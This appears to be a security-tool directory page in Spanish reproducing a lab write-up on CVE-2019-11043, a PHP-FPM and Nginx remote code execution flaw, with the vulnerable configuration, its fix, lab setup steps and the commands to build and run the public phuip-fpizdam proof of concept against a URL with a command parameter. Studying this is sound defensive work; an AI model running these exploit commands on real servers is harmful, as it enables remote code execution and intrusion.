Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2019-11043 — CVE-2019-11043 PHP Ejecución remota de código | Kitploit
Herramientas/GitHubGitHub/shadow-horse/cve-2019-11043
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubshadow-horse/cve-2019-11043

cve-2019-11043

CVE-2019-11043 PHP Ejecución remota de código

Ver Repositorio
11hace 6 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Vulnerabilidad de ejecución remota de código en PHP (CVE-2019-11043)

1. Antecedentes

El 26 de septiembre, PHP publicó un aviso oficial de vulnerabilidad, en el que señaló que los servidores que usan Nginx + php-fpm, bajo ciertas configuraciones, presentan una vulnerabilidad de ejecución remota de código. Además, esta configuración es ampliamente utilizada, por lo que el riesgo es alto.

El PoC de la vulnerabilidad se hizo público el 22 de octubre, y los medios de seguridad nacionales emitieron una advertencia oportuna.

2. Descripción de la vulnerabilidad

En Nginx, cuando fastcgi_split_path_info procesa una solicitud con %0a, PATH_INFO se vacía debido al salto de línea \n. Mientras tanto, php-fpm tiene una falla lógica al manejar un PATH_INFO vacío. Un atacante, mediante una construcción y explotación cuidadosas, puede causar la ejecución remota de código.

Los servidores Nginx + php-fpm, cuando usan la siguiente configuración, pueden presentar una vulnerabilidad de ejecución remota de código.

root@kitploit:~
 location ~ [^/]\.php(/|$) {

    fastcgi_split_path_info ^(.+?\.php)(/.*)$;

    fastcgi_param PATH_INFO       $fastcgi_path_info;

    fastcgi_pass   php:9000;

    ...
}

3. Solución

Sin afectar el negocio normal, elimine la siguiente configuración del archivo de configuración de Nginx:

root@kitploit:~
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO       $fastcgi_path_info;

4. POC público en github

github: https://github.com/neex/phuip-fpizdam

Este POC aprovecha la optimización en la variable FastCGI _fcgi_data_seg. Esta optimización solo existe en PHP7, por lo que el exploit público solo es válido en php7; en el entorno PHP5 se necesita otro exploit para que funcione.

5. Reproducción de la vulnerabilidad

1. Configurar NGINX+PHP-FPM (php7)

Configurar el entorno, montar nginx + php-fpm y verificar que el trabajo sea efectivo.

  1. Descargar php7, descomprimir y entrar al directorio

    root@kitploit:~
     wget -c http://cn2.php.net/distributions/php-7.2.4.tar.gz
     tar -xzvf php-7.2.4.tar.gz
    
  2. Instalar paquetes de dependencias relacionados con compresión, ssl, etc.

    root@kitploit:~
     yum install -y libxml2*
     yum install -y openssl*
     yum install -y libcurl*
     yum install -y libjpeg*
     yum install -y libpng*
     yum install -y freetype*
     yum install -y libmcrypt*
    
  3. Ejecutar configure para compilar el código fuente

    root@kitploit:~
     ./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc --with-mysqli --with-pdo-mysql --with-iconv-dir --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir --enable-simplexml --enable-xml --disable-rpath --enable-bcmath --enable-soap --enable-zip --with-curl --enable-fpm --with-fpm-user=www --with-fpm-group=www --enable-mbstring --enable-sockets --with-gd --with-openssl --with-mhash --enable-opcache --disable-fileinfo
    
     make & make install
    
  4. Configurar php-fpm; si se configuran varios PHP, puede cambiar el puerto 9000 a 9001

    root@kitploit:~
     修改php-fpm配置文件:
     $ cd /usr/local/php/etc
     $ cp php-fpm.conf.default php-fpm.conf
     $ vi php-fpm.conf
     去掉 pid = run/php-fpm.pid 前面的分号
     $ cd php-fpm.d
     $ cp www.conf.default www.conf  (修改端口)
     $ vi www.conf
     修改user和group的用户为非root用户
    
  5. ./php-fpm

2. Configurar el procesamiento de PHP vulnerable

Agregue la siguiente configuración en nginx.cof:

root@kitploit:~
location ~ [^/]\.php(/|$) {
        root /opt/apache/www;
        fastcgi_split_path_info ^(.+?\.php)(/.*)$;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        fastcgi_param PATH_INFO  $fastcgi_path_info;
        fastcgi_pass   127.0.0.1:9001;
        include     fastcgi_params;
     }

Reiniciar nginx

  1. Instalar go y compilar el código POC

    root@kitploit:~
     go get github.com/neex/phuip-fpizdam(文件下载在go的src目录下)
    
     go build github.com/neex/phuip-fpizdam(全路径,会在当前目录生成运行文件)
    
  2. Ejecutar el POC

    root@kitploit:~
     ./phuip-fpizdam http://website.com/index.php
     ./phuip-fpizdam http://website.com/index.php?a=command
     
    

[Lamentablemente, no sé qué problema hay en el entorno de configuración; la verificación falló]

root@kitploit:~
	2019/10/29 01:13:19 Detect() returned error: no qsl candidates found, invulnerable or something wrong

4. Entorno integrado de verificación de Docker

Enlace original: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

  1. Descargar los archivos del proyecto docker

  2. Ejecutar docker-compose up -d para iniciar el contenedor docker

  3. Ejecutar el programa; se muestra que la ejecución fue exitosa, aprovechando la vulnerabilidad para ejecutar el comando "id" y mostrar su salida

  4. Cerrar el servicio docker docker ps
    docker stop id

Descargar herramienta